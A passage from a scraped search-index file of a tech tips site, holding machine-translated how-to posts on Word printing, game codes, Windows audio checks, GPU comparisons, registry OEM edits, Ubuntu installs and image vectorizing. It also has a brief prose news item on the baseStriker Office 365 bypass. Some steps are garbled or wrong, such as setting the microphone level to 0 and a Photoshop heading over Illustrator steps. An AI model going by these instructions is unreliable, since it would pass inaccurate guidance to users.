you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiimsOmutNmmKmonJp6rq3IpWSfqp%2BieqLB06ikmqyZmK6tuNhmq66qnp67qHnOp2SwoJWjerC8xKegp59dmrqitctmpqdlnZawsL8%3D\n","link":"/post/how-to-prevent-apple-mail-from-automatically-turning-on-when-opening-email-on-macos/","section":"post","tags":null,"title":"How to prevent Apple Mail from automatically turning on when opening email on macOS"},{"body":"The printing of Word documents is simple and no stranger to anyone who uses it. You can print 2-sided Word documents, select the page to print in the document. For sectioned Word documents, by default we cannot select and print into separate section sections. However, if you only want to print a specific section, you can follow the article below. We will rely on the section sort order number while paging on Word. The following article will guide you how to print Word files in different sections.\nHow to print spreadsheets on Microsoft Excel How to create a page printed vertically and print horizontally on a Word document How to print documents on Google Docs Instructions for printing individual sections on Word Step 1:\nYour Word file needs to be divided into different sections. How to create section in Word read the reference in the article Word 2016 Complete Guide (Part 12): How to break the page, split the part.\n  Step 2:\nNext, the user needs to check the section sort number while paging. To determine the sequence number, right-click on the Status bar below the interface and select the Section.\n  \nAs a result we will see the section where the mouse is located at that location below the Status bar as shown below.\n  Step 3:\nAfter you have selected the section you want to print, users click on the File button and choose Next to Print .\n  Display the interface options when printing, in the Pages section, enter the number of sections you want to print. For example, if you want to print section 1, enter s1. Finally, press Enter to print.\n  So you have finished selecting the operations to print individual sections on Word. Users need to split into separate sections first, then enter the section in Pages section to proceed with printing.\nSee more:\nInstructions on how to print documents in Word 2010, 2003, 2007, 2013 Instructions on how to print PDF files on computers, lap top, phones or tablets How to print Excel on an A4 page I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiinru1edKep5qqkamybr%2FEnKuip56oerC6jLCmq5w%3D\n","link":"/post/how-to-print-separate-sections-on-word/","section":"post","tags":null,"title":"How to print separate sections on Word"},{"body":"That is the only way to restore the signature and only then can gamers fulfill their destiny.\nThe game has a gacha system for players to unlock a lot of characters, all with their own strengths and weaknesses, accompanying them will help players upgrade their skills.\n  In addition, people can also explore vast landscapes and various environments, including locations such as magical forests, lava caves, ice caves, and strange towers. Exploring the world is often full of dangers, so stocking up on items is a must.\nFortunately, Revived Witch regularly provides codes to redeem many useful items. Those free bonuses include stamina potions, cute frames, cryolite souls, elixirs, and more that come in handy during the perilous journey through dungeons and poisoned lands.\nIn this article, let's learn how to enter the code, and the latest Revived Witch codes are constantly updated, to supplement the character with many useful equipment in his journey.\nThe latest Revived Witch codes All codes in Revived Witch have a certain expiration date, so players need to enter the code quickly to avoid the code becoming invalid. Each player can only use the redemption code once. In addition, everyone needs to pay attention to enter the correct code, including uppercase, lowercase letters and special characters, to ensure receiving the gift.\n Code Present  SPRINGFESTIVAL\u0026nbsp; Get 1 Cloth Tiger ornament  THEBEGINNING\u0026nbsp; Get Kitty Cat Avatar Frame, 3 Soul Cryolite and 1 Stamina Elixir  ADVENTUREBEGINS\u0026nbsp; Get 3 Stamina Elixir and 2 Soul Cryolite   How to enter the code in Revived Witch Redeeming a Revived Witch gift code is a very simple process. But if you don't know or this is the first time redeeming a gift code in the game, just follow the steps below to learn how to enter the redemption code in Revived Witch.\nStep 1: Open Revied Witch on your device.\nStep 2: Tap the profile picture icon in the upper left corner of the screen\nStep 3: Select Other Settings.\nStep 4: Click the Redeem button next to the text bar (it won't work if the bar is pressed).\n  Step 5: Enter the correct code or copy the code from the list above into Redemption Code and click Confirm to confirm using the redemption code.\n  ncG1vNJzZmismaXArq3KnmWcp51ktq68zqurZqGeqMGzwcKtoKimo2Kur7CMrZ%2BeZZyWwaa%2F02apnq6Zq7Juw8itmqFlk6Sxpr8%3D\n","link":"/post/import-instructions-and-the-latest-revive-witch-codes/","section":"post","tags":null,"title":"Import instructions and the latest Revive Witch codes"},{"body":"To be able to listen to music, watch movies on your computer without affecting the people around you, especially in a public or office environment, you will definitely need a Microphone, Headphone. And to be able to connect the working Microphone on a Windows computer, we will need to adjust some settings on the computer. In this article, Network Administrator will show you how to check Microphone, Headphone on Windows 7 computer.\n4 steps to troubleshoot audio loss in Windows How to set up and install a Microphone Instructions for checking Microphone: Method 1: Use the Sound Recorded feature This way will use the feature available on Windows 7 which is Sound Recorded.Note , in order to be able to test you, make sure the Microphone is properly installed. The headphone plugged into the right position of the speaker icon and Microphone must be plugged into the correct Mic position.\nStep 1:\nYou access the above function according to the path:\nStart\u0026gt; All Program\u0026gt; Accessories\u0026gt; Sound Rercoder . Soon the Sound Recorder window will appear.\n  Step 2:\nNext, we will click on the red circle button Start Recordin g to start recording. You conduct recording to test the device.\n  Click Stop Recording to stop recording.\n  Step 3:\nA window to save the recorded audio file will then appear. You find the menu and click Save to save.\n  Step 4:\nWe will check the saved audio file. If the sound is clear, the device is good. If there is no sound, check to see if it is in the correct position.\nIf there is no sound when plugged in correctly, the Micro or Computer Card has problems. Try using a new Microphone device or buying an external Sound card to try it out. With the sound case, adjust the Volume Control or Micro quality is not good.\nMethod 2: Adjust Microphone \u0026amp; Micro Karaoke singing on Win 7: Step 1:\nFirst, go to the following directory path: Start\u0026gt; Control Panel\u0026gt; HardWare and Sound.\n  \nStep 2:\nClick on the Sound item.\n  \nStep 3:\nIn the Sound window, in the Recording tab, double click the Microphone to open the Microphone Properties.\n  Step 4:\nIn the Microphone Properties window, the Device Usage section select Use this device (enable) . Then click Apply\u0026gt; OK to activate. Thus, Microphone has been activated in the computer.\n  To check again, in the Microphone Properties window, select the Listen tab. Select the Listen to this device button and click the Apply button. Now speak on the mic to play the speaker. If the sound leaked, this is a normal phenomenon.\n  If you want to make the sound clearer, click the Levels tab, adjust the Microphone level to level 0 .\n  2. How to check Headphone on Windows 7: To check whether Card Sound or Headphone on the computer is working properly, good quality, we can use the functions available in the Win 7 system.\nStep 1:\nGo to the link below: Start\u0026gt; Control Panel\u0026gt; HardWare and Sound .\n  Step 2:\nNext, we click Sound .\n  Step 3:\nAppears the Sound window interface. Here, right click on Speakers and select Configure Speakers .\n  Step 4:\nThe Speaker Setup window appears. Click the Test button to check the speaker. If ting ting sounds at the right and left turn respectively, it means that the device works well. If there is no sound, the device is turned off (disabled). You need to reactivate.\n  Step 5:\nReturn to the Sound window. At the Playback tab, double-click Speakers to open Speaker Properties.\n  Step 6:\nIn the Speaker Properties window, the Device usage section select Use this device (enable) to activate. Then press Appky\u0026gt; OK to save.\n  Above are the steps to help you check whether the Microphone device, Headphone on Windows 7 computer is working properly. Through the above steps and steps, we will know if the error does not produce the sound of the known, or adjust the sound better.\nRefer to the following articles: 3 simple ways to check the configuration and hardware information of computers and laptops Instructions for upgrading BIOS Four step instructions for installing more RAM I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabmJqwrLXNoGSmoZOnvLG0zqecZqCVlrGxtM6nnGannmLEqrrDqK6sZWc%3D\n","link":"/post/instructions-for-checking-microphone-headphone-on-windows-7/","section":"post","tags":null,"title":"Instructions for checking Microphone, Headphone on Windows 7"},{"body":"Microsoft is looking to redesign the Start Menu on Windows 10, to ease the discomfort of Live Tiles. The new design was revealed by Microsoft today, describing it as 'the visual difference of the Start Menu, from the chaotic colors to something more unified'. Understandably, Microsoft is trying to simplify the colors of Live Tiles, so that users will no longer have eye strain.\nMicrosoft has introduced the Live Tiles feature on the Start Menu since the launch of Windows 10 five years ago. Live Tiles include small tiles, containing applications, quick access icons, email or even news. It basically has the same interface as Windows Phone.\n Microsoft has removed Live Tiles on Windows 10X operating system, for dual-screen or foldable devices. However, the software giant insists that Live Tiles will not go anywhere on the traditional Windows operating system of the computer.\nBut in fact, not all Windows 10 applications support Live Tiles, and developers are not interested in integrating this feature. Users also do not use it often, and also view Live Tiles as an eye-catching interface inside the Start Menu.\n  Old colorful interface (left) New simpler interface (right).\nMicrosoft's new change is aimed at helping Live Tiles become less eye-catching. The tiles no longer have a garish background color, but instead a transparent background color. Some icons of the application have also been changed. The application icons in the main menu column no longer have the background color.\nIn general, the new Start Menu's interface will be less colorful. Thanks to that makes sense more comfortable. Microsoft will also change a lot of new icon icons in Windows 10, promising to have a makeover screen in the near future.\nReference: theverge\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYr%2BmwsSao56cXam1pnnNnq5moZ6psrOywJycZqeWYsC1rdGtZKadnqp6sLqMsKCnnJ%2BswG59jw%3D%3D\n","link":"/post/microsoft-revealed-the-new-interface-of-start-menu-on-windows-10/","section":"post","tags":null,"title":"Microsoft revealed the new interface of Start Menu on Windows 10"},{"body":"As we know, the high-end GPU market in the past few years is really boring due to Nvidia's monopoly. Agree that Nvidia has also taken a lot of care for its flagship products, but it is impossible to mention AMD's disappointing breathlessness, so Nvidia has become the exclusive name in the high-end GPU market. is understandable. This fact has also allowed Nvidia to raise prices and focus on new features, far beyond the 'arms race' of standard configuration with a rival competitor.\n  AMD and Nvidia - who is the king of GPU dominance? Of course, AMD could not be happy when the situation continued, causing its reputation to drop seriously. A series of proper changes and investments have been made, and initial effects have also appeared. This year AMD was officially ready to return to the game with the strategic Radeon VII card in the high-end segment. The GPU is currently priced at $ 700, which means it will compete directly with Nvidia's GeForce RTX 2080, which has similar prices. So can Radeon VII defeat RTX 2080 in terms of price and performance and regain the 'face' for this manufacturer in the high-end segment?\nRadeon VII is so named because it is based on the second generation Vega card (Radeon Vega 2), and is manufactured on a new 7nm process (Radeon 7). This suggests that AMD Radeon VII is bringing with it the leading technology of the US manufacturer, producing less heat and also completely power consumption will be guaranteed. New technologies applied to the production line allow AMD to compete fairly with Nvidia right now. But when it comes to the technological fights of the world's two largest chip makers in the high-end segment in the future, Nvidia is still the one with more advantages with thick experience as well as leading technologies. has been verified by the community, while AMD's strategy card is likely to be second-generation high-bandwidth memory (HBM2), along with the 7nm process.\n  7 things you need to know about discrete GPUs Of course we will not discuss much about the future here. In this article, I and you will find out if at the moment Radeon VII is worth owning? Is it better than RTX 2080? And do you need more features such as video RAM or ray tracing and DLSS? Let's get to the point now.\nRadeon VII vs RTX 2080 Gaming performance Elements next to the frame rate RTX HBM2 Work productivity Temperature and noise  So which product should you choose? Gaming performance In theory, Radeon VII and RTX 2080 are nearly equal when it comes to overall performance. The difference will only appear in certain situations. In general, the RTX 2080 will give significantly faster speeds in some games, while Radeon VII will be able to 'outplay' opponents in other games. This result is made after actual comparisons and benchmark-based analysis. Overall, you can count on the ability of both models to work with top games in 4K resolution and ultra settings.\n  How to monitor GPU performance in Task Manager of Windows 10 Specifically, Radeon VII and RTX 2080 have been tested with the following hardware configuration:\nCPU: AMD Ryzen 2 2700X Motherboard: Aorus X470 Ultra Gaming Ram: Kingston HyperX Fury 16GB DDR4-3200 Hard drive: 970 Evo 500GB The result is not surprising, Radeon VII offers faster speeds for games that are AMD logo closed. The RTX 2080 is similar, giving better speeds in games designed to support Nvidia products. For more neutral titles, the results show that RTX 2080 Grand Theft Auto V and Hitman are about 10% faster than Radeon VII. However Radeon VII performed better in The Division and Monster Hunter: World.\nBelow is the average frame rate of RTX 2080 and Radeon VII in 7 different titles. These games run in 4K resolution with the highest settings, except for vendor-specific features (like Nvidia Hairworks or HBAO +):\n  And this is the average speed for all 7 titles:\n  Elements next to the frame rate Normally, considering only the overall performance, it is difficult to say exactly which GPU is better. These two products are no exception, but the good news is that both are premium models, so there are many other notable factors that we can pull out to measure.\nWhile Nvidia places great emphasis on the potential of its strategic technologies such as real-time ray tracing and deep-learning super-sampling (DLSS), AMD is focusing on super fast production and memory. So what is there to compare between seemingly unrelated things? Of course yes, but it will have to depend heavily on the purpose as well as your usage needs in practice, because simply each feature will be directed to a different purpose.\nUse GPU-Z to analyze graphics card parameters RTX The problem with RTX is that there are very few games that support the technology it owns. For example, some popular games like Battlefield V, Metro Exodus and Final Fantasy XV do not support ray tracing or DLSS, so adding more money to these features while not being able to use it clearly is a waste not light.\n  The good news for Nvidia is that ray tracing is impressive, even if it hurts a bit of overall performance. Besides, DLSS also does not affect performance while still maintaining a sharp image in Final Fantasy XV.\nWhen all Nvidia-specific features are turned off to score the RTX 2080 benchmark for Final Fantasy XV, this model's advantage over Radeon VII has also lost a bit. However, in general, Final Fantasy XV still supports DLSS and when enabled, the RTX 2080 has a 45% better benchmark than Radeon VII, which is a very worthwhile consideration.\n  But until developers launch RTX technology into more games, we cannot confirm whether this technology will play an important role in the future.\nHBM2 For its part, AMD is expecting memory speeds to play a more important role in handling future games, as we can see that Radeon VII is equipped with a lot of extremely high-speed video RAM. This 16GB memory is capable of processing and through more than 1TB of data per second. So what does this number say? Well, it will allow developers to handle an incredible number of 4K frame structures or even 8K.\n  However, almost no game can consume so much memory that all 16GB must be used up, at least until now. This shows that developers have been able to start creating limitless games now, with a GPU as powerful as Radeon VII. Ubisoft's open world games seem to be the top contenders and AMD claims that there are a lot of scenes in Far Cry 5 that have benefited from their HBM2 technology.\nAlthough there are some games that can take full advantage of Radeon VII, most of them will try to maintain and use much more modest video RAM to ensure system stability. So, like RTX, we have to wait and see whether this technology makes a big difference in actual use.\nWork productivity There is a very important element to GPU but rarely mentioned is productivity in work. In the case of Radeon VII vs RTX 2080, both models contain great features that make them the ideal choice in certain types of creative jobs.\n  Radeon VII will be a prominent choice in OpenCL tasks like Blender - at least you can make Blender work well. Overall, Radeon VII will serve as a great choice for graphic design engineers who want to work with OpenCL tools, which are conclusions derived from real experience and not is empty talk.\nNeither of these GPUs has much of a difference as well as a significant advantage in video production - especially when working with software like Adobe Premiere. However, the RTX 2080 is equipped with the latest video encoder, making it more effective in recording games or playing live. The latest version of NVENC (Nvidia encoder) is currently only available on RTX cards and it is capable of eliminating the need to set up 2 PCs for current streamer.\n  With NVENC, you can play a game and then encode it on the GPU without affecting game performance and CPU. In the past, NVENC did not seem to be very effective and compressed quite a bit compared to x264 encryption provided by the CPU at the same bit rate. However, the new NVENC is especially suitable for x264 quality at lower bit rates and it makes the RTX card the ideal device for people who are constantly streaming, streamer.\nTemperature and noise As well as gaming performance, RTX 2080 and Radeon VII give quite similar results when it comes to temperature and noise during operation. No product exceeds 80 degrees Celsius even when loaded with the heaviest tasks.\n  However, considering the noise level, RTX 2080 will be a bit quieter. When both devices run at the highest fan speed, they produce quite similar noise levels. But Radeon VII's fan speed is increasing faster and more frequently, so in practical use, the noise Radeon VII emits is generally louder and more frequent than Nvidia's model. However, the noise that Radeon VII causes does not create discomfort and is completely acceptable.\nExperience upgrading computer graphics cards So which product should you choose? After all, should you join the red team (AMD) or the blue team (Nvidia)? Don't rush, the answer will depend on a few more factors.\nFirst, don't buy both models if you don't play games in 4K mode because it will be a terrible waste. Even if you want to have a resolution of 1440p at 144Hz, the $ 350 RTX 2060 still has a good 'balance' (especially if you overclock it).\n  Instructions for overclocking graphics cards for better gaming performance Second, you should choose Radeon VII if you have to work regularly with 3D graphic design applications like Blender. Just like going to the RTX 2080 team if you want to livestream on Twitch or shoot videos directly on YouTube, generally work related to streaming videos.\nFinally, choose a product that can well support future technologies. Do you think features like ray tracing and DLSS will be the standard of the future or the ultra-fast high capacity memory is the market trend? Pay attention to the launch of new titles and tastes of other users to give you a reasonable choice.\nFrom a personal point of view, I think that all three technologies mentioned above will develop very strongly in the future but to consider carefully, the investment for DLSS will probably be safer because this technology is being developed. Very high rating and signs of explosion in the next few years.\nMeanwhile, developers tend to pay more attention to high-speed video memory, but they will have to continue to create games that work with console games and RTX 2060 devices with only 6GB of RAM. video. That will make it difficult for how a game can take advantage of Radeon VII. In the next four or five years, when RTX 2080 starts to become more slow, perhaps DLSS will be the factor that makes the RTX 2080 create a speed advantage over Radeon VII.\nThese are the basic comparisons of the two popular GPU models on the market today: Radeon VII vs RTX 2080. What do you think about these products? Leave comments in the comment section below. I wish you all to choose a suitable product!\nncG1vNJzZmismaXArq3KnmWcp51kv6KwxKilZq6Znnq3v4yrq7FlYmWFcXnWoaCcoF2cvbZ50qGmrqSUYsawwYybrLJlmaN6tbTEZm5paF2qwKV50p6epp2eqQ%3D%3D\n","link":"/post/which-gpu-should-you-buy-in-the-700-usd-segment/","section":"post","tags":null,"title":"Which GPU should you buy in the 700 USD segment?"},{"body":"Previously, TipsMake.com once instructed you to set PDF password with Microsoft Word office software. Today, we will share with you how to set a password online quickly and simply without installing additional external software. Please consult.\nStep 1: Go to the Smallpdf homepage and click Protect PDF   Step 2 : Click Choose file to select the PDF file or drag it directly into the Drop PDF here box (you can also add it from Google Drive or Dropbox ).\n  Step 3: After adding the PDF file, enter the password then press Encrypt PDF   Step 4: You wait a bit for the site to encode for the PDF file and then click Download File Now to download the new PDF file   With just 4 simple steps above, you have set up a secure password for your PDF file.\nInstructions for editing PDF documents online for free How to convert PDF files to Word Online very fast Simple way to convert PDF files to Word Hope the article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kgW6%2F056nrGWkpHq0sdNmp52eXaWutL%2FWqKmdZZ%2Bjuaq6xA%3D%3D\n","link":"/post/4-steps-to-set-pdf-password-online/","section":"post","tags":null,"title":"4 steps to set PDF password online"},{"body":"Security researchers have just revealed how hackers overcome Microsoft Office 365's Safe Links security feature, used to protect users from malware and phishing attacks.\nSafe Links is included in Office 365 software, located in Microsoft's Advanced Threat Protection (ATP) solution, replacing all the URLs in email with Microsoft's secure URL.\nWhen the user clicks on the link in the email, it will be sent to the domain name for Microsoft owned to check the origin of the URL. If it detects malicious code, it will warn the user and if not, will redirect the user to the original link.\nHowever, researchers at Avanan cloud security company have revealed how to use this feature using a technique called baseStriker.\nBaseStriker uses the tag in the header of the HTML email, used to define the default URL or URL for related links in the website or text.\nIf the URL is defined, all related links will then use that URL as a prefix.\n  Traditional scam\n  BaseStriker attack type\nAs shown in the above two pictures, when using a card to separate the infected link, Safe Links cannot identify and replace the link, and the user is still taken to the infected page when clicked.\nResearchers have tried using baseStriker and said 'anyone who uses Office 365 with any installation settings is likely to be affected', whether web, mobile or installed on the destkop.\nProofpoint is also likely to be affected. Gmail users or using Office 365 with Mimecast are not.\nSee more:\nMicrosoft Office 365 version is supported against blackmail Hackers are using new Microsoft Office vulnerabilities to distribute malware Hacker exploited three vulnerabilities in Microsoft Office to spread Zyklon malware ncG1vNJzZmismaXArq3KnmWcp51ktaKvyp6prGWWpMKvsIyaZLCZqWLBsHnBsqeaq6Niuqqv0aiqqJ6kYrynssicnGZrZmp6tK3FnmSloZ6gwA%3D%3D\n","link":"/post/hackers-found-a-way-to-bypass-microsoft-office-365-safe-links/","section":"post","tags":null,"title":"Hackers found a way to bypass Microsoft Office 365 Safe Links"},{"body":" This wikiHow teaches you how to automatically save every screenshot you take on your computer to a Screenshots folder in your Dropbox, using [https://www.dropbox.com/install Dropbox's desktop app]. Find and click the Dropbox icon in your...\n Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmlqbyurdOimpqknK56tK3VnmSsm6Kasq%2B%2Fx6irrGWkpHqlvs6pmaiwXaS7brzCZqarZZ2WsA%3D%3D\n","link":"/post/how-to-automatically-save-screenshots-to-dropbox-on-pc-or-mac/","section":"post","tags":null,"title":"How to Automatically Save Screenshots to Dropbox on PC or Mac"},{"body":"Computer screen capture tool on macOS Mojave is now much more powerful. It allows users to draw, mark, add text, zoom on screenshots. Besides, users can record screen video converted into gif or MOV file and use it quite flexibly. However, it still defaults to saving all your screenshots directly to the desktop. You can change that quite easily. Let's see how to do it!\nChange the location to save the default screenshot in Mojave First you need to open the screen capture tool by pressing Command + Shift + 5 , then selecting Options .\n  At the top of the Options menu, under Save To section , you'll see the built-in options:\nDesktop: The default location, will save all your screenshots to a separate stack. Clipboard: Use this location if you want to paste photos into another application. This is the most neat location if you don't like cluttering your drives with additional files. Messages: This location will open a new message with the attached screenshot so you can send it to one of your contacts. Mail: This option creates a new email in the Mail application and attach a screenshot. If you want to send screenshots via web apps like Gmail, it's best to use Clipboard and manually attach files. Preview: This option will open the screenshot in Preview so you can edit the image before saving to the drive or copy to another application. At the bottom of the above options, click Other Location to select the folder where you want the macOS to save your screenshot. Mac will remember this setting and use it for all your future photos.\nSimple, just try it!\nSee more:\nUse commands and some tips for Mac OS X ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55llJqzosHLrWSlp5OWwaq7zWadqKpdqK63tc2gZKybopqyr7%2FHqKusZZmjeq6twqiqZqWfn663sQ%3D%3D\n","link":"/post/how-to-change-the-default-location-for-saving-screenshots-in-macos-mojave/","section":"post","tags":null,"title":"How to change the default location for saving screenshots in macOS Mojave"},{"body":"If you purchased a computer or laptop from a PC manufacturer such as Dell, Sony, HP, etc., you will see these brands' logos, contact information, model numbers, URLs, etc. system.\nTypically, these PC manufacturers are called OEMs. PC manufacturers add OEM information automatically or manually to each PC they assemble. To view OEM information, search for System in the Start menu and open it. Or, right-click This PC or My Computer and select Properties. You can also use the keyboard shortcut Win+ Pause.\nIf you build your own PC, obviously you won't see all this OEM information. This means you can add your own OME name and logo with just a few clicks. Even when using an OEM PC, you can still change the OEM information to meet your unique needs. For example, you can replace the default OEM logo with your own picture or company logo, replace the OEM name with your own name, etc. Here's how to change OEM information in Windows 10.\nNote : The same methods work in Windows 7 and 8.1.\nChange name and OEM logo There are two ways to change OEM information in Windows 10. The first method is to use a free application. The second method is to change or create some registry keys. Make it the way you feel comfortable.\nUse the free application to change OEM information You can easily add or change OEM names and logos with a free portable application called OEM Info Editor .\n1. Download the OEM Info Editor application and run it.\n2. Now, fill out all the fields. To add a logo, click the browse button (three horizontal dots) next to the Logo Path field and select the logo. Logo should be in BMP format with size 120 x 120. You can convert photos or logo to BMP format with one of these web tools.\n3. Once done, click the Save button .\nClick the Save button From now on, you will see your own custom information and logo in the System Information window .\nChange the OEM name and logo from the Windows Registry If, for some reason you don't want to use a third-party application, you can do the same thing by editing the Registry. All you have to do is create some new values ​​or edit existing values. Before making any changes, back up the registry to stay safe.\n1. Press Win+ R, type \"regedit\" and click Enterto open Windows Registry Editor.\n2. Navigate to the location below to view OEM information. Windows 10 users can simply copy and paste the link below into the address bar, then press Enter.\nHKEY_LOCAL_MACHINESOFTWARE MicrosoftWindowsCurrentVersionOEMInformation 3. If you cannot view the OEM information, you need to create a range of values. Right-click on an empty space in the right panel and select New\u0026gt; String Value to create the string value. You need to do it again 5 more times for all required values.\nName the new values ​​as below.\nLogo Manufacturer Model SupportURL SupportHours SupportPhone 4. Now, double-click each value and enter the appropriate information in the Value Data field . For example, enter your name in the Manufacturer value , the logo file path in the Logo value , the website or social network URL in the Support  URL value , etc.\nNote : Logo must be in BMP format with size 120 x 120.\nWhen done, close the Windows Registry and reboot the system. From now on, you will see custom OEM information in the System window .\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lnKS0sHnAp5tmp5Wieq%2BtzJ5koqZdrLavsM6wqmZpYG2E\n","link":"/post/how-to-change-the-logo-and-oem-name-in-windows-10-8-7/","section":"post","tags":null,"title":"How to change the logo and OEM name in Windows 10/8/7"},{"body":"Word alignment is a basic feature and is always done when you edit the layout for the content, adjust the margin of the text, especially with the type of document to print, reference. Although this is a basic feature, during the implementation process sometimes you will encounter some errors, making the text impossible to align. The following article will summarize errors related to Word alignment.\nHow to use the Ruler ruler bar in Word Align margins in Google Docs Word 2016 Complete Guide (Part 10): Page layout Summary of errors aligning on Word 1. Error aligning printed page incorrectly\nWhen we print text, the margins of the text are not the same as the previous edited margin on Word.\nThis may be because you have not set a paper style for text, such as A4 paper size (210mm x 297mm), but in Word, set Letter (215mm x 279.4mm).\nStep 1:\nClick on the Page Layout tab and then select Margins , click on the Custom Margins .\n  \nStep 2:\nIn the Page Setup dialog box, select the Paper tab . In the Paper size section, click on the paper size here to be A4 size. Click OK to confirm.\n  2. Error aligning both sides is sparse\nWhen you align the text, there will be spacing between words and spacing. This is due to the line break Shift + Enter, not the break, and enter the Enter line. Just change this sign to fix it.\nStep 1:\nPress Ctrl + H to open the Find and Replace dialog box and click More .\n  Step 2:\nPlace the mouse pointer at Find what then click Special and select Manual line break to see the Find what box appears ^ l as shown.\n  Step 3:\nPut the mouse in the Replace with box. Then click on Special select Paragraph mark to see ^ p appear as shown.\n  Step 4:\nFinally, if you want to change the entire text, click Replace All. If you want to change each position, click Find Next to find and Replace to replace it.\n  3. Error losing top margin, bottom margin in Word\nWhen no margins appear, you have not set the margins to appear above and below in the text.\nStep 1:\nWe click on the Office icon above and then select Word Options .\n  Step 2:\nIn the Word Options dialog box, the user selects Display . Then find the Page display options group and select Show white space between pages in Print Layout view .\nFinally, click Ok to save the changes.\n  The above are 3 common errors when aligning on Word. When setting up text on Word you should remember to enable the margin display mode and then select the appropriate page size for the content, if you need to print the text.\nSee more:\nHow to display Ruler ruler bar in Micorosoft Word Word 2013 Complete Guide (Part 8): Using Indents and Tabs Full Word Tutorial 2016 (Part 7): Use Line and Paragraph Spacing I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmnKuqn6d6qr%2BMp6atZZGhtqi6xJ1kqKZdrLyzsA%3D%3D\n","link":"/post/how-to-fix-the-error-is-not-aligned-on-word/","section":"post","tags":null,"title":"How to fix the error is not aligned on Word"},{"body":" Want to install programs you want, but because you are new to Linux, don't understand how it works? This article will show you how to install programs in recent versions of Ubuntu. Connect to the internet, unless you are using offline...\nMethod 1of 2:\nInstalling Graphically  Click on Dashboard in the side bar.\n  Search for \"Ubuntu Software Center and open it.\n  On the Left side you can select the category of software you want to install. For example, you'd select Sound \u0026amp; Video to install any sound or video software. An alternate way is to use the search function and search for the required software.   Select the software you want to install. For example, choose Audacity from the list and click Install.\n  You will be prompted for the password of that computer. Type it to continue installing the software.\n Method 2of 2:\nInstalling via Terminal  Open Terminal by typing Ctrl+Alt+T or going in your Dashboard and searching for Terminal.\n  Enter the following command: 'sudo apt-get install firefox' (without quotation marks) to install Firefox, for example. You can swap out \"firefox\" with the name of whatever software you're installing.\n  Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmqqiepKyus7GMoqVmrZKqu7XB\n","link":"/post/how-to-install-software-in-ubuntu/","section":"post","tags":null,"title":"How to Install Software in Ubuntu"},{"body":"When listening to music on iPhone, the lock screen will display the background of the rectangular rectangular music player by default. If we want to refresh for iPhone lock screen when listening to music, we can install Nereid tweak.\nWhen tweaking settings, the music playback interface will change completely, the album image is set as iPhone lock screen image. Users still have the option to change the music, adjust the volume or rewind the music playback time. The following article will guide you how to install Nereid tweak on iPhone.\nHow to set an animation for iPhone lock screen How to create iPhone wallpaper for each individual page How to manually change the wallpaper every day on iPhone How to hide iPhone lock screen content Instructions for changing iPhone music interface Step 1:\nUsers download the tweak from Cydia's Nepeta source, or click the link below. Refine settings on iOS 11 devices and above.\nhttps://repo.nepeta.me/depiction/me.nepeta.nereid      Step 2:\nAfter you have finished tweaking, go to Settings and then click on Nereid to make changes again. First you will see the color option in the Color section .\nNext we proceed to change and modify the settings below.\n    Step 3:\nThe Extra buttons section we select the left or right button appears in the interface, with the same content including Disabled, Shuffle, Repeat, Rewind 15 seconds and Skip 15 seconds.\n   As a result, when you listen to music, the lock screen switches to music album interface as shown below. The content displayed in the music playback screen like the artist's name, the album will be customized by you in the Settings section.\n   Refine Nereid to create a more screen-locked music screen on the iPhone, using the same cover image as a lock screen image. All information displayed on the music player interface will be selected by you.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXqxtM6tpmaZnJfCrnnMrqqim12WwG61z6Gmp51dobykt4ysmqudlaM%3D\n","link":"/post/how-to-set-photo-album-music-as-iphone-lock-screen/","section":"post","tags":null,"title":"How to set photo album music as iPhone lock screen"},{"body":" Vector and raster graphics are two different kinds of images, although they are not often distinguishable by the naked eye. Vector images are geometrical, computer graphics based on an x and y-axis, so that they can be scaled up or down...\nMethod 1of 3:\nUsing an Online Vectorizer  Choose this method if you don't have much graphic design experience. There are several websites that vectorize a PNG, BMP, JPEG or GIF image for free.\n  Save your PNG, BMP, JPEG or GIF file to your computer desktop.\n  Navigate to popular vectorization websites. Search for sites like Vectorization.org, Vectormagic.com or Autotracer.org, or type 'vectorization website' into a search engine.\n  Click the button that says 'Upload Image' or use the browser button to find the image on your computer.\n  Select the new file format you want to use. The most versatile option is to use a PDF; however you can also save it for Adobe programs as an EPS or AI file.\n  Wait for the program to trace the image. This will take a few moments or minutes, depending upon the complexity of the file.\n  Try the settings that are suggested to change the colors, the detail level and other parts of the image. You may notice that your image now looks like a computer-generated image. The effect is especially noticeable with photographs. Different online vectorization programs have different options for changing the look of your vector image before you download it. You may want to try a few different programs if you don't like the result.   Click the 'Download' button to download the result. Save the image to your Downloads folder or desktop. Use this image as you would a vector image.[1]\n Method 2of 3:\nUsing Adobe Photoshop to Vectorize an Image  Find an image that you want to vectorize. Use PNG, BMP, JPEG or GIF formats.\n  Open Adobe Illustrator. Open a new document and save it to your computer in AI format.\n  Go to the File menu and select 'Place.' Find your image on your computer and place it on top of the document.\n  Click on the image. Click on the Object menu and select 'Tracing Options.' The following are settings that you may want to change before you trace your object: Choose your threshold. A higher threshold will mean more of the darker areas will be turned to black and lighter areas will be turned to white. When you trace an object, it will be changed into a black and white image. Add blur if you need to help smooth out the edges of the image. Choose your Path Fitting. The lower the number, the tighter the image will be traced along the lines. It may become jagged if it is too low. Too high and you will lose detail in your image. Set the Minimum Area. This allows you to remove parts of the image that won't be part of your final vector image. Set the Corner Angle. The lower the number, the sharper the traced corners will be.   Click 'Save Preset.' It will allow you to return to these settings later on to tweak them.\n  Ungroup elements of the image that have been placed together and should be separated. Right click on the group and select 'ungroup.' Use the Knife tool to cut grouped anchor points apart.\n  Use the Smooth tool to reduce the number of anchor points in your vector image. Add elements, colors or textures as you normally would with a vector image.\n  Save your 